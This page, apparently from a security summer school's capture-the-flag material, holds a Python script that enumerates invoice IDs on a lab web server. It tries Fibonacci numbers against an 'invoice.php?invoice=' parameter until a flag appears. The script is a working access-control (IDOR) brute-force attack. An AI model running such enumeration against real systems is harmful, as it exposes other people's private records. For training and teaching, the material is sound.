Mind your own business
Security Summer School
Last updated
Security Summer School
Last updated
import requests
base_url = "http://141.85.224.70:8085/invoice.php?invoice="
flag_indicator = "SSS"
def generate_fibonacci(n_terms):
a, b = 1, 1
for _ in range(n_terms):
yield a
a, b = b, a + b
def brute_force_fibonacci(limit=1000):
for fib_num in generate_fibonacci(limit):
url = f"{base_url}{fib_num}"
print(f"Trying invoice number: {fib_num}")
try:
response = requests.get(url)
if flag_indicator in response.text:
print(f"\n[!] Flag found at invoice number: {fib_num}")
print("Response:\n", response.text)
break
else:
print("No flag found.")
except Exception as e:
print(f"Error at invoice {fib_num}: {e}")
if __name__ == "__main__":
brute_force_fibonacci(1000)